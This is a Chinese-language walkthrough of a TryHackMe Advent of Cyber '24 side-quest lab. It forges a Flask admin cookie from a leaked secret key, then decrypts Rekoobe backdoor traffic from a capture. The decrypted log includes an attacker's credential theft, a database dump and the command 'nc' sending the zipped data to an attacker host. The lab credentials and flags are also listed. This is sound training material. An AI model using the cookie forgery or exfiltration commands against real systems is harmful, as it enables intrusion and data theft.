0%

THM打靶日寄38-Advent of Cyber '24:支线T1丑陋复现

  • keycard

    通过看这道题第一次通过的时间判断出 keycard 藏在第一个房间里啊嗯

    回顾一下第一个房间:大概率在那个 C2 服务器里面: http://papash3ll.thm

    直接访问不了,那就经典加 hosts 访问,看到一个登陆框

    去搜下 title ,第一个就是:https://github.com/Bloatware-WarevilleTHM/C2-Server

    点进去看到是 flask 的,找到硬编码信息:

    1
    2
    3
    4
    app.secret_key = "@09JKD0934jd712?djD"

    ADMIN_USERNAME = "admin"
    ADMIN_PASSWORD = "securepassword" #CHANGE ME!!!

    可惜这个密码登不上去,考虑用 secret_key 伪造 cookie 直接登录:

    1
    2
    3
    4
    5
    6
    7
    from itsdangerous import URLSafeTimedSerializer

    secret_key = "@09JKD0934jd712?djD"
    serializer = URLSafeTimedSerializer(secret_key)
    session_data = {"logged_in": True, "username": "admin"}
    token = serializer.dumps(session_data)
    print(f"Cookie Value: {token}")

    卡在这里了,一直跳转回 login


    这里是分割线,等结束看了下wp,思路对的,在最后一步好像是犯病了

    flaskcookie 值名应该是 session ,以及他们用的都是 flask-unsign 来生成:

    1
    flask-unsign --sign -c "{'logged_in':True,'username':'admin'}" --secret "@09JKD0934jd712?djD"

    /data 中找到:

    password:vK5RMlvkGO3QiLU

  • 流量分析

    • 攻击者在网站上注册时使用的密码

      直接搜 password ,在一堆 html 之后找到 POST 发送到 register.php 的密码

      QU9DMjAyNHtUaW55X1R

    • 攻击者获取的密码

      继续向下搜找到 /admin/login.php 中提交的密码:

      pbnlfVGlueV9TaDNsbF

    • 攻击者传输的 zip 文件的密码

      file-export objects-http 里面看看传输的文件,但并没有 .zip

      那么从流量下手,过滤掉 2280 的流量,再忽略 nmap 的那堆东西,最下面找到 90019002 的流量,大概是反弹shell的端口

      9001 的经过加密了,没什么重要的

      而对于 9002 ,找到个压缩包,大概就是需要的

      当然也可以通过筛选 zip 的十六进制头来找到这个:

      1
      tcp contains 50:4b:03:04

      raw 格式 save as 下来,发现确实有密码(

      那么只能回头去尝试分析 9001 上的加密流量,在可导出的文件中找到了一个奇怪的二进制文件 ff

      存下来,先用 strings 看了看,确实没有东西

      可以用 virustotal 来检查其是否为恶意软件

      md5sum 拿到哈希去搜一下:

      看到可能是 Rekoobe 后门

      对于 rekoobe 通信内容可以参考这篇,文中指出身份验证中最相关步骤:

      客户端将从服务器读取 $40$ 字节的流。此数据包将被分成两个 $20$ 字节的块,用于初始化两个 $AES128_HMAC_SHA1$ 上下文。将使用给定的共享密钥(较新版本中的“idontknow”硬编码字符串)针对每个 $20$ 字节流生成 $HMAC\space SHA1$ 对,它们将用作加密和解密未来数据包的 $AES128$ 密钥。

      而通过 ghidra 反编译文件得到硬编码的密钥 SuP3RSeCrEt

      即加密通信的内容如下

      • 从服务器获取前 40 个字节(tcp 握手后)
      • 分成两个 20 个字节
      • 对每个部分应用 AES128_HMAC_SHA1,使用 SuP3RSeCrEt 作为密钥,从而生成加密和解密密钥

        对于脚本实现可以参考这篇文章以及这篇文章

        github 上搜索 rekoobe 拿到写好的分析器

        原工具在 https://github.com/alexander-utkov/rekobee-analyzer ,但因为thm被隐藏了,在 https://github.com/DaXcess/rekoobe-analyzer 有另一个也被隐藏的用ruby写的替代品

        正常来说应该能解密出如下内容:

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        35
        36
        37
        38
        39
        40
        41
        42
        43
        44
        45
        46
        47
        48
        49
        50
        51
        52
        53
        54
        55
        56
        57
        58
        59
        60
        61
        62
        63
        64
        $ python3 rekobee-analyzer/analyze.py -c 9001.pcapng -s SuP3RSeCrEt -vv
        [ ok ] Found the initial packet at 7.
        [info] Participants:
        • CNC: 10.13.44.207:42312
        • Slave: 10.10.103.220:9001
        [info] Initial packet payload (salts highlighted):
        [data] 26 f3 21 ef d8 ee 63 7c 40 86 57 b6 fd 94 05 9e 33 19 1e 95 | & ó ! ï Ø î c | @ W ¶ ý 3
        [0x14] 3a 41 61 1c b0 b4 b3 a0 f8 89 f6 79 61 61 20 96 1d 87 f6 83 | : A a ° ´ ³ ø ö y a a ö
        [info] Encryption (from the client's point of view):
        1) AES(key=d11851d2a0bc9f66a9627cb0e4b6d7e4, iv=3a41611cb0b4b3a0f889f67961612096) for sending;
        2) AES(key=b2111707b9855c80935c9373f0537f4a, iv=26f321efd8ee637c408657b6fd94059e) for receiving.
        [info] Advance to packet 9 (sent by master).
        [info] The packet will be decrypted with #2 AES context.
        [info] Packet header (and initial buffer):
        [data] 00 10 58 90 ae 86 f1 b9 1c f6 29 83 95 71 1d de | X ® ñ ¹ ö ) q Þ
        [info] Packet:
        • size: 16;
        • HMAC: e7731c5d3710808c37cc13f7d710d245dca8874c.
        [info] Content:
        ...
        ...
        ...
        → root@database:/tmp# cat /var/www/html/config.php
        → <?php
        → /* Database credentials. Assuming you are running MySQL
        → server with default setting (user 'root' with no password) */
        → define('DB_SERVER', 'localhost');
        → define('DB_USERNAME', 'mcskidy');
        → define('DB_PASSWORD', 'aBT4ZfhteNRE3ah');
        → define('DB_NAME', 'website');

        → /* Attempt to connect to MySQL database */
        → $mysqli = new mysqli(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);

        → // Check connection
        → if($mysqli === false){
        → die("ERROR: Could not connect. " . $mysqli->connect_error);
        → }
        → ?>

        → root@database:/tmp# mysql -h localhost -u mcskidy -p'aBT4ZfhteNRE3ah' -e 'show databases;'
        → mysql: [Warning] Using a password on the command line interface can be insecure.
        → +--------------------+
        → | Database |
        → +--------------------+
        → | elves |
        → | information_schema |
        → | website |
        → +--------------------+
        → root@database:/tmp# mysql -h localhost -D elves -u mcskidy -p'aBT4ZfhteNRE3ah' -e 'show tables;'
        → mysql: [Warning] Using a password on the command line interface can be insecure.
        → +-----------------+
        → | Tables_in_elves |
        → +-----------------+
        → | elf |
        → +-----------------+
        → root@database:/tmp# mysqldump -u mcskidy -p'aBT4ZfhteNRE3ah' elves elf > elves.sql
        → mysqldump: [Warning] Using a password on the command line interface can be insecure.
        → root@database:/tmp# zip -P 9jYW5fRW5jcnlwVF9iVXR elves.zip elves.sql
        → adding: elves.sql (deflated 58%)
        → root@database:/tmp# nc -w 3 10.13.44.207 9002 < elves.zip
        → root@database:/tmp# echo 'GG EZ McSkidy' > /home/mcskidy/haha.txt
        → root@database:/tmp#
        [info] Done.

        拿到密码 9jYW5fRW5jcnlwVF9iVXR

    • 攻击者窃取的数据库文件中的 McSkidy 密码是什么?

      解压出数据库文件 cat 一下就行

      faXRfSXNfTjB0X0YwMGxwcm8wZn0=